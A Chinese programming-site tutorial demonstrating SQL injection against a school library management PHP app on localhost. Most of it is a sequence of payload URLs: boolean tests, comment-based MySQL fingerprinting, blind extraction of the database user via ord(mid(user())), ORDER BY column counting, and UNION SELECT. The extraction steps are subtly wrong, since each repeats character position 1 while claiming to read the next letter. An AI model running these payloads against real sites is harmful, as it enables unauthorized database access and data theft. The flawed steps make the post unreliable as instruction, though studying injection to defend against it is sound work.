程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 簡單PHP注入演示

簡單PHP注入演示

編輯:關於PHP編程

學校的一個外聘老師寫的程序,圖書+學生管理系統,文件名001.php,002.php,003.php......(B名起的)問題出在004.php第多少行我也忘了,
<td width="118" rowspan="4" align="center" valign="middle"><a href="004.php?ts_id=<?php echo $array[ts_id];?>"><img src="./images/<?php echo $array[‘ts_tp‘];?>" width="136" height="181"></a></td><td width="85">書名:</td>
注意這句<a href="004.php?ts_id=<?php echo $array[ts_id];?>">,ts_id沒有任何過濾,赤裸裸的等我們虐待,HOO~(雖然我知道數據庫的一切信息,但是這裡我還是要黑箱測試)
LET‘S GO~
http://localhost/zhd/004.php?ts_id=1 and 1=1 正常
http://localhost/zhd/004.php?ts_id=1 and 1=2 異常
白癡注入
判斷數據庫:
提交http://localhost/zhd/004.php?ts_id=1/*fenggou
正常返回,說明數據庫支持/*注釋,什麼數據庫支持/*呢?MYSQL!
讀取用戶名:
提交http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=114/*
正常返回,user()是MYSQL的內置函數,用來查看用戶,這裡是查看個用戶名的第一個字符,沒錯114是ACCSLL中的"r",我是root連接,所以語句為真(這招賤心教我滴)但是如果用戶名是rijnc的話我不是被騙了?所以在提交
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=116/* t
但是如果密碼是rootrijnc,那我無語…
判斷字段數:
提交http://localhost/zhd/004.php?ts_id=1 order by 10/*
失敗,說明字段數小於10,一直試到7語句成立,一共是7個字段了,對我們以後的聯合查詢帶來極大方便,有個小技巧,先5,在10,在15,依次一點點縮小范圍
聯合查詢:
知道了字段數直接提交http://localhost/zhd/004.php?ts_id=1 union select 1,2,3,4,5,6,7/*
正常返回,說明支持union,把語句改改,用and 1=2讓他顯示錯誤,嘿嘿~~~
提交http://localhost/zhd/004.php?ts_id=1 and 1=2 union select 1,2,3,4,5,6,7/*

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved